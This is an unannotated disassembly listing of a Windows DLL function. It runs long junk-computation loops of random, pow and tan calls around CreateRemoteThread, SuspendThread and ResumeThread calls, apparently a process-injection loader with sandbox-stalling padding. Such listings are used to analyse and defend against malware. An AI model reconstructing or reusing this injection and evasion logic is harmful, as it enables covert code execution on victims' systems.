movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x70]
call fcn.180001b20
mov qword [rbp + 0x288], 0x64
lea r8, [rbp + 0x288]
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.180011380
lea rcx, [rbp + 0x4c0]
call fcn.180001ec0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4c0], xmm1
mov qword [rbp + 0x4d0], r14
lea rcx, [rbp + 0x290]
call fcn.1800113a0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xe8], rcx
lea rdx, [rbp + 0xe8]
lea rcx, [rbp + 0x4c0]
call fcn.180010590
nop
lea rcx, [rbp + 0xe8]
call fcn.180010570
nop
lea rcx, [rbp + 0x290]
call fcn.180010570
lea rcx, [rbp + 0x298]
call fcn.1800113d0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x120], rcx
lea rdx, [rbp + 0x120]
lea rcx, [rbp + 0x4c0]
call fcn.180010590
nop
lea rcx, [rbp + 0x120]
call fcn.180010570
nop
lea rcx, [rbp + 0x298]
call fcn.180010570
lea rcx, [rbp + 0x2a0]
call fcn.180011400
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xf8], rcx
lea rdx, [rbp + 0xf8]
lea rcx, [rbp + 0x4c0]
call fcn.180010590
nop
lea rcx, [rbp + 0xf8]
call fcn.180010570
nop
lea rcx, [rbp + 0x2a0]
call fcn.180010570
lea rcx, [rbp + 0x2a8]
call fcn.180011430
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x100], rcx
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x4c0]
call fcn.180010590
nop
lea rcx, [rbp + 0x100]
call fcn.180010570
nop
lea rcx, [rbp + 0x2a8]
call fcn.180010570
lea rcx, [rbp + 0x2b0]
call fcn.180011460
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x108], rcx
lea rdx, [rbp + 0x108]
lea rcx, [rbp + 0x4c0]
call fcn.180010590
nop
lea rcx, [rbp + 0x108]
call fcn.180010570
nop
lea rcx, [rbp + 0x2b0]
call fcn.180010570
lea rcx, [rbp + 0x2b8]
call fcn.180011490
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x110], rcx
lea rdx, [rbp + 0x110]
lea rcx, [rbp + 0x4c0]
call fcn.180010590
nop
lea rcx, [rbp + 0x110]
call fcn.180010570
nop
lea rcx, [rbp + 0x2b8]
call fcn.180010570
lea rcx, [rbp + 0x2c0]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
jns 0x180006daa
xor r13d, r13d
nop dword [rax]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x420]
call fcn.1800112e0
mov rbx, qword [rbp + 0x4c8]
sub rbx, qword [rbp + 0x4c0]
sar rbx, 3
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x420]
call fcn.1800112e0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x4c0]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x420]
call fcn.1800112e0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x4f0]
call fcn.1800114c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x4f0]
call fcn.1800114c0
movaps xmm1, xmm5
call fcn.180001d40
movsd xmm1, qword [rsp + 0x58]
addsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x4f0]
call fcn.1800114c0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x4f0]
call fcn.1800114c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x500]
call fcn.180010c30
nop
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x500]
call fcn.180001cb0
lea rcx, [rbp + 0x5c8]
call fcn.180001ec0
lea rcx, [rbp + 0x5c8]
call fcn.180010710
nop
lea rax, [rbp + 0x420]
mov qword [rbp + 0x2f0], rax
lea rax, [rbp + 0x2de0]
mov qword [rbp + 0x2f8], rax
movaps xmm0, xmmword [rbp + 0x2f0]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x70]
mov rdx, qword [rbp + 0x5d0]
mov rcx, qword [rbp + 0x5c8]
call fcn.180011540
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x5c8]
call fcn.180001dc0
mov rdx, qword [rbp + 0x5d0]
mov rcx, qword [rbp + 0x5c8]
call fcn.1800115a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x420]
call fcn.1800112e0
mov ebx, eax
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x420]
call fcn.1800112e0
mov r8d, ebx
mov edx, eax
call fcn.180001e90
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
lea rdx, [rbp + 0x2de0]
lea rcx, [rbp + 0x420]
test al, 1
jne 0x180006be9
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180006bf8
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov r15d, 5
nop
mov r14d, r13d
nop dword [rax]
nop word [rax + rax]
mov esi, dword [rbp + 0x420]
btc esi, 0x1f
mov eax, dword [rbp + 0x424]
btc eax, 0x1f
sub eax, esi
lea rcx, [rbp + 0x2de0]
cmp eax, 0xffffffff
jne 0x180006c3b
call fcn.180014200
mov ecx, eax
jmp 0x180006c7a
lea ebx, [rax + 1]
call fcn.180014200
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x180006c76
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006c76
nop dword [rax]
lea rcx, [rbp + 0x2de0]
call fcn.180014200
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x180006c60
shr rcx, 0x20
add ecx, esi
btc ecx, 0x1f
mov eax, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
movaps xmm2, xmm10
movaps xmm1, xmm12
mov ebx, 2
nop word [rax + rax]
lea rcx, [rbp + 0x2de0]
call fcn.180014200
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm10
mulsd xmm0, xmm1
addsd xmm2, xmm0
mulsd xmm1, xmm11
sub rbx, 1
jne 0x180006ca0
divsd xmm2, xmm1
movsd xmm0, qword [rbp + 0x4f8]
movups xmm1, xmmword [rbp + 0x4f0]
subsd xmm0, xmm1
mulsd xmm2, xmm0
addsd xmm2, xmm1
addsd xmm2, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm2
lea rdx, [rbp + 0x2de0]
test r14b, 1
jne 0x180006d1f
lea rcx, [rbp + 0x420]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180006d40
movsd xmm5, qword [rsp + 0x58]
lea rcx, [rbp + 0x4f0]
call fcn.1800114c0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x58], xmm5
inc r14d
cmp r14d, 5
jl 0x180006c10
sub r15, 1
jne 0x180006c00
lea rcx, [rbp + 0x5c8]
call fcn.1800106b0
nop
lea rcx, [rbp + 0x500]
call fcn.180010b40
sub r12, 1
jne 0x1800069d0
lea rcx, [rbp + 0x2c0]
call fcn.180001b20
mov rcx, rax
lea rdx, [rsp + 0x70]
call fcn.180001e70
test al, al
js 0x1800069c0
mov r13, qword [rbp - 0x60]
mov r12, qword [rbp - 0x58]
mov r15, qword [rbp - 0x50]
xor r14d, r14d
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x4c0]
call fcn.1800105c0
mov r9d, dword [r12 + 0x28]
add r9, qword [rbp + 0x388]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 4
mov qword [rsp + 0x20], r14
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x390]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
je 0x180007394
mov rcx, qword [rbp + 0x398]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x7c20]
call fcn.180010660
mov dword [rbp + 0x428], 0xffffff9c
mov dword [rbp + 0x42c], 0x64
movdqa xmm0, xmmword [0x18001f1a0]
movups xmmword [rbp + 0x580], xmm0
mov dword [rsp + 0x50], r14d
movsd qword [rsp + 0x58], xmm10
lea rcx, [rbp - 0x70]
call fcn.180001b20
mov qword [rbp + 0x2c8], 0x64
lea r8, [rbp + 0x2c8]
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x58]
call fcn.180011380
lea rcx, [rbp + 0x4d8]
call fcn.180001ec0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x4d8], xmm1
mov qword [rbp + 0x4e8], r14
lea rcx, [rbp + 0x128]
call fcn.1800113a0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xc0], rcx
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x4d8]
call fcn.180010590
nop
lea rcx, [rbp + 0xc0]
call fcn.180010570
nop
lea rcx, [rbp + 0x128]
call fcn.180010570
lea rcx, [rbp + 0x130]
call fcn.1800113d0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x118], rcx
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x4d8]
call fcn.180010590
nop
lea rcx, [rbp + 0x118]
call fcn.180010570
nop
lea rcx, [rbp + 0x130]
call fcn.180010570
lea rcx, [rbp + 0x138]
call fcn.180011400
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x38], rcx
lea rdx, [rbp + 0x38]
lea rcx, [rbp + 0x4d8]
call fcn.180010590
nop
lea rcx, [rbp + 0x38]
call fcn.180010570
nop
lea rcx, [rbp + 0x138]
call fcn.180010570
lea rcx, [rbp + 0x140]
call fcn.180011430
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x40], rcx
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x4d8]
call fcn.180010590
nop
lea rcx, [rbp + 0x40]
call fcn.180010570
nop
lea rcx, [rbp + 0x140]
call fcn.180010570
lea rcx, [rbp + 0x148]
call fcn.180011460
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x50], rcx
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x4d8]
call fcn.180010590
nop
lea rcx, [rbp + 0x50]
call fcn.180010570
nop
lea rcx, [rbp + 0x148]
call fcn.180010570
lea rcx, [rbp + 0x150]
call fcn.180011490
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x48], rcx
lea rdx, [rbp + 0x48]
lea rcx, [rbp + 0x4d8]
call fcn.180010590
nop
lea rcx, [rbp + 0x48]
call fcn.180010570
nop
lea rcx, [rbp + 0x150]
call fcn.180010570
lea rcx, [rbp + 0x158]
call fcn.180001b20
mov rcx, rax
lea rdx, [rbp - 0x58]
call fcn.180001e70
test al, al
jns 0x18000736e
nop dword [rax + rax]
mov esi, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
call fcn.1800112e0
mov rbx, qword [rbp + 0x4e0]
sub rbx, qword [rbp + 0x4d8]
sar rbx, 3
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
call fcn.1800112e0
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x4d8]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
call fcn.1800112e0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rdi
call rbx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x580]
call fcn.1800114c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x580]
call fcn.1800114c0
movaps xmm1, xmm5
call fcn.180001d40
movsd xmm1, qword [rsp + 0x58]
addsd xmm0, xmm1
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x580]
call fcn.1800114c0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x58]
subsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x580]
call fcn.1800114c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x58]
movsd qword [rsp + 0x58], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x500]
call fcn.180010c30
nop
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x500]
call fcn.180001cb0
lea rcx, [rbp + 0x5e0]
call fcn.180001ec0
lea rcx, [rbp + 0x5e0]
call fcn.180010710
nop
lea rax, [rbp + 0x428]
mov qword [rbp + 0x2e0], rax
lea rax, [rbp + 0x7c20]
mov qword [rbp + 0x2e8], rax
movaps xmm0, xmmword [rbp + 0x2e0]
movdqa xmmword [rbp - 0x70], xmm0
lea r8, [rbp - 0x70]
mov rdx, qword [rbp + 0x5e8]
mov rcx, qword [rbp + 0x5e0]
call fcn.180011540
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x5e0]
call fcn.180001dc0
mov rdx, qword [rbp + 0x5e8]
mov rcx, qword [rbp + 0x5e0]
call fcn.1800115a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
call fcn.1800112e0
mov ebx, eax
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
call fcn.1800112e0
mov r8d, ebx
mov edx, eax
call fcn.180001e90
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
test al, 1
jne 0x180007269
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180007278
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
sub ecx, eax
mov dword [rsp + 0x50], ecx
mov edi, 5
nop dword [rax]
mov ebx, r14d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x428]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x7c20]
lea rcx, [rbp + 0x580]
call fcn.1800114c0
movsd xmm5, qword [rsp + 0x58]
addsd xmm0, xmm5
movsd qword [rsp + 0x58], xmm0
lea rdx, [rbp + 0x7c20]
test bl, 1
jne 0x1800072f5
lea rcx, [rbp + 0x428]
call fcn.1800112e0
mov ecx, dword [rsp + 0x50]
imul eax, ecx
mov dword [rsp + 0x50], eax
jmp 0x180007316
movsd xmm5, qword [rsp + 0x58]
lea rcx, [rbp + 0x580]
call fcn.1800114c0
addsd xmm0, xmm12
divsd xmm5, xmm0
movsd qword [rsp + 0x58], xmm5
inc ebx
cmp ebx, 5
jl 0x180007290
sub rdi, 1
jne 0x180007280
lea rcx, [rbp + 0x5e0]
call fcn.1800106b0
nop
lea rcx, [rbp + 0x500]
call fcn.180010b40
sub rsi, 1
jne 0x180007050
lea rcx, [rbp + 0x158]
call fcn.180001b20
mov rcx, rax
lea rdx, [rbp - 0x58]
call fcn.180001e70
test al, al
js 0x180007040
mov eax, dword [rsp + 0x50]
lea rcx, [rbp + 0x4d8]
call fcn.1800105c0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rcx, r15
call fcn.180010510
xor eax, eax
jmp 0x1800073a2
mov rcx, qword [rbp - 0x50]
call fcn.180010510
mov eax, 1
mov rcx, qword [rbp + 0x8fb0]
xor rcx, rsp
call fcn.18001bb20
lea r11, [rsp + 0x9160]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret